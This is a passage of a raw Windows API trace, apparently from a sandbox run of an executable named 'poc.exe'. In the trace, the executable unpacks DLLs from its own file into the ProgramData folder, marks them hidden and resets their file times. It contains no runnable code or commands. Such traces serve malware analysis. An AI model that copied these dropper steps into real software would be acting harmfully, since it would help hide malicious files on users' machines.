returned 0x24c [0092.692] ResetEvent (hEvent=0xd0) returned 1 [0092.692] GetCurrentThreadId () returned 0x24c [0092.692] GetCurrentThreadId () returned 0x24c [0092.692] SetEvent (hEvent=0xd4) returned 1 [0092.692] SetEvent (hEvent=0xd0) returned 1 [0092.692] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.692] CreateFileW (lpFileName="c:\\programdata\\dmgd-4.dll" (normalized: "c:\\programdata\\dmgd-4.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x128 [0092.692] NtReadFile (in: FileHandle=0x124, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x711b14, BufferLength=0xc, ByteOffset=0x28f340*=241811, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x711b14*) returned 0x0 [0092.693] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.693] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.693] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.694] NtReadFile (in: FileHandle=0x124, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0xb468, ByteOffset=0x28f340*=241823, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.696] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.696] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.696] WriteFile (in: hFile=0x128, lpBuffer=0x610004*, nNumberOfBytesToWrite=0xac00, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0xac00, lpOverlapped=0x0) returned 1 [0092.698] SetFileTime (hFile=0x128, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.698] CloseHandle (hObject=0x128) returned 1 [0092.699] NtClose (Handle=0x128) returned 0xc0000008 [0092.699] RtlFreeAnsiString (AnsiString="\\") [0092.699] FindFirstFileW (in: lpFileName="c:\\programdata\\down64.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝藸v0")) returned 0xffffffff [0092.699] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.699] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\down64.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\down64.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.699] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.699] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x128, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.699] RtlFreeAnsiString (AnsiString="\\") [0092.699] GetCurrentThreadId () returned 0x24c [0092.699] ResetEvent (hEvent=0xd0) returned 1 [0092.699] GetCurrentThreadId () returned 0x24c [0092.700] GetCurrentThreadId () returned 0x24c [0092.700] ResetEvent (hEvent=0xd0) returned 1 [0092.700] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.700] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x12c, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.700] RtlFreeAnsiString (AnsiString="\\") [0092.700] GetCurrentThreadId () returned 0x24c [0092.700] GetCurrentThreadId () returned 0x24c [0092.700] SetEvent (hEvent=0xd4) returned 1 [0092.700] SetEvent (hEvent=0xd0) returned 1 [0092.700] GetCurrentThreadId () returned 0x24c [0092.700] ResetEvent (hEvent=0xd0) returned 1 [0092.700] GetCurrentThreadId () returned 0x24c [0092.700] GetCurrentThreadId () returned 0x24c [0092.700] ResetEvent (hEvent=0xd0) returned 1 [0092.700] GetCurrentThreadId () returned 0x24c [0092.700] GetCurrentThreadId () returned 0x24c [0092.700] SetEvent (hEvent=0xd4) returned 1 [0092.700] SetEvent (hEvent=0xd0) returned 1 [0092.700] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.700] CreateFileW (lpFileName="c:\\programdata\\down64.dll" (normalized: "c:\\programdata\\down64.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x130 [0092.701] NtReadFile (in: FileHandle=0x12c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x711f90, BufferLength=0xc, ByteOffset=0x28f340*=288007, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x711f90*) returned 0x0 [0092.701] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.701] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.702] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.702] NtReadFile (in: FileHandle=0x12c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x425, ByteOffset=0x28f340*=288019, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.702] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.702] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.703] WriteFile (in: hFile=0x130, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x1400, lpOverlapped=0x0) returned 1 [0092.704] SetFileTime (hFile=0x130, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.704] CloseHandle (hObject=0x130) returned 1 [0092.704] NtClose (Handle=0x130) returned 0xc0000008 [0092.704] RtlFreeAnsiString (AnsiString="\\") [0092.704] FindFirstFileW (in: lpFileName="c:\\programdata\\exma-1.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝薰v0")) returned 0xffffffff [0092.705] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.705] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\exma-1.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\exma-1.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.705] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.705] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x130, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.705] RtlFreeAnsiString (AnsiString="\\") [0092.705] GetCurrentThreadId () returned 0x24c [0092.705] ResetEvent (hEvent=0xd0) returned 1 [0092.705] GetCurrentThreadId () returned 0x24c [0092.705] GetCurrentThreadId () returned 0x24c [0092.705] ResetEvent (hEvent=0xd0) returned 1 [0092.705] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.705] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x134, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.705] RtlFreeAnsiString (AnsiString="\\") [0092.705] GetCurrentThreadId () returned 0x24c [0092.705] GetCurrentThreadId () returned 0x24c [0092.705] SetEvent (hEvent=0xd4) returned 1 [0092.705] SetEvent (hEvent=0xd0) returned 1 [0092.705] GetCurrentThreadId () returned 0x24c [0092.705] ResetEvent (hEvent=0xd0) returned 1 [0092.705] GetCurrentThreadId () returned 0x24c [0092.705] GetCurrentThreadId () returned 0x24c [0092.705] ResetEvent (hEvent=0xd0) returned 1 [0092.706] GetCurrentThreadId () returned 0x24c [0092.706] GetCurrentThreadId () returned 0x24c [0092.706] SetEvent (hEvent=0xd4) returned 1 [0092.706] SetEvent (hEvent=0xd0) returned 1 [0092.706] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.706] CreateFileW (lpFileName="c:\\programdata\\exma-1.dll" (normalized: "c:\\programdata\\exma-1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x138 [0092.706] NtReadFile (in: FileHandle=0x134, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x712440, BufferLength=0xc, ByteOffset=0x28f340*=289080, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x712440*) returned 0x0 [0092.706] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.707] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.707] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.707] NtReadFile (in: FileHandle=0x134, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x1889, ByteOffset=0x28f340*=289092, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.707] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.708] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.708] WriteFile (in: hFile=0x138, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x1c00, lpOverlapped=0x0) returned 1 [0092.709] SetFileTime (hFile=0x138, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.709] CloseHandle (hObject=0x138) returned 1 [0092.710] NtClose (Handle=0x138) returned 0xc0000008 [0092.710] RtlFreeAnsiString (AnsiString="\\") [0092.710] FindFirstFileW (in: lpFileName="c:\\programdata\\libeay32.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝澠u0")) returned 0xffffffff [0092.710] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.710] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\libeay32.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\libeay32.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.710] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.710] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x138, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.710] RtlFreeAnsiString (AnsiString="\\") [0092.710] GetCurrentThreadId () returned 0x24c [0092.710] ResetEvent (hEvent=0xd0) returned 1 [0092.710] GetCurrentThreadId () returned 0x24c [0092.710] GetCurrentThreadId () returned 0x24c [0092.710] ResetEvent (hEvent=0xd0) returned 1 [0092.710] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.711] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x13c, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.711] RtlFreeAnsiString (AnsiString="\\") [0092.711] GetCurrentThreadId () returned 0x24c [0092.711] GetCurrentThreadId () returned 0x24c [0092.711] SetEvent (hEvent=0xd4) returned 1 [0092.711] SetEvent (hEvent=0xd0) returned 1 [0092.711] GetCurrentThreadId () returned 0x24c [0092.711] ResetEvent (hEvent=0xd0) returned 1 [0092.711] GetCurrentThreadId () returned 0x24c [0092.711] GetCurrentThreadId () returned 0x24c [0092.711] ResetEvent (hEvent=0xd0) returned 1 [0092.711] GetCurrentThreadId () returned 0x24c [0092.711] GetCurrentThreadId () returned 0x24c [0092.711] SetEvent (hEvent=0xd4) returned 1 [0092.711] SetEvent (hEvent=0xd0) returned 1 [0092.711] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.711] CreateFileW (lpFileName="c:\\programdata\\libeay32.dll" (normalized: "c:\\programdata\\libeay32.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x140 [0092.711] NtReadFile (in: FileHandle=0x13c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x7128bc, BufferLength=0x54, ByteOffset=0x28f340*=295373, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x7128bc*) returned 0x0 [0092.712] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.712] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.712] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.713] NtReadFile (in: FileHandle=0x13c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x1173d, ByteOffset=0x28f340*=295457, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.715] NtReadFile (in: FileHandle=0x13c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x11a6d, ByteOffset=0x28f340*=366942, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.716] NtReadFile (in: FileHandle=0x13c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x11a5e, ByteOffset=0x28f340*=439243, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.717] NtReadFile (in: FileHandle=0x13c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x11a55, ByteOffset=0x28f340*=511529, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.719] NtReadFile (in: FileHandle=0x13c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0xf5d8, ByteOffset=0x28f340*=583806, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.721] NtReadFile (in: FileHandle=0x13c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x5430, ByteOffset=0x28f340*=646742, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.722] NtReadFile (in: FileHandle=0x13c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x1964, ByteOffset=0x28f340*=668294, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.722] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.723] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.723] WriteFile (in: hFile=0x140, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x63000, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x63000, lpOverlapped=0x0) returned 1 [0092.730] SetFileTime (hFile=0x140, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.730] CloseHandle (hObject=0x140) returned 1 [0092.797] NtClose (Handle=0x140) returned 0xc0000008 [0092.797] RtlFreeAnsiString (AnsiString="\\") [0092.798] FindFirstFileW (in: lpFileName="c:\\programdata\\libxml2.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝藸v0")) returned 0xffffffff [0092.798] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.798] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\libxml2.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\libxml2.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.798] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.798] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x140, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.798] RtlFreeAnsiString (AnsiString="\\") [0092.798] GetCurrentThreadId () returned 0x24c [0092.798] ResetEvent (hEvent=0xd0) returned 1 [0092.798] GetCurrentThreadId () returned 0x24c [0092.798] GetCurrentThreadId () returned 0x24c [0092.798] ResetEvent (hEvent=0xd0) returned 1 [0092.798] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.798] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x144, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.798] RtlFreeAnsiString (AnsiString="\\") [0092.799] GetCurrentThreadId () returned 0x24c [0092.799] GetCurrentThreadId () returned 0x24c [0092.799] SetEvent (hEvent=0xd4) returned 1 [0092.799] SetEvent (hEvent=0xd0) returned 1 [0092.799] GetCurrentThreadId () returned 0x24c [0092.799] ResetEvent (hEvent=0xd0) returned 1 [0092.799] GetCurrentThreadId () returned 0x24c [0092.799] GetCurrentThreadId () returned 0x24c [0092.799] ResetEvent (hEvent=0xd0) returned 1 [0092.799] GetCurrentThreadId () returned 0x24c [0092.799] GetCurrentThreadId () returned 0x24c [0092.799] SetEvent (hEvent=0xd4) returned 1 [0092.799] SetEvent (hEvent=0xd0) returned 1 [0092.799] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.799] CreateFileW (lpFileName="c:\\programdata\\libxml2.dll" (normalized: "c:\\programdata\\libxml2.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x148 [0092.799] NtReadFile (in: FileHandle=0x144, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x712d38, BufferLength=0x60, ByteOffset=0x28f340*=674794, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x712d38*) returned 0x0 [0092.800] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.800] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.800] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.801] NtReadFile (in: FileHandle=0x144, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x108b3, ByteOffset=0x28f340*=674890, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.803] NtReadFile (in: FileHandle=0x144, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x10cfc, ByteOffset=0x28f340*=742653, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.804] NtReadFile (in: FileHandle=0x144, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x10df6, ByteOffset=0x28f340*=811513, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.805] NtReadFile (in: FileHandle=0x144, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x10c74, ByteOffset=0x28f340*=880623, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.806] NtReadFile (in: FileHandle=0x144, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x10d2a, ByteOffset=0x28f340*=949347, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.807] NtReadFile (in: FileHandle=0x144, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x10c5f, ByteOffset=0x28f340*=1018253, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.816] NtReadFile (in: FileHandle=0x144, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0xf2cc, ByteOffset=0x28f340*=1086956, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.817] NtReadFile (in: FileHandle=0x144, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x34bf, ByteOffset=0x28f340*=1149112, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.818] VirtualFree (lpAddress=0x488000, 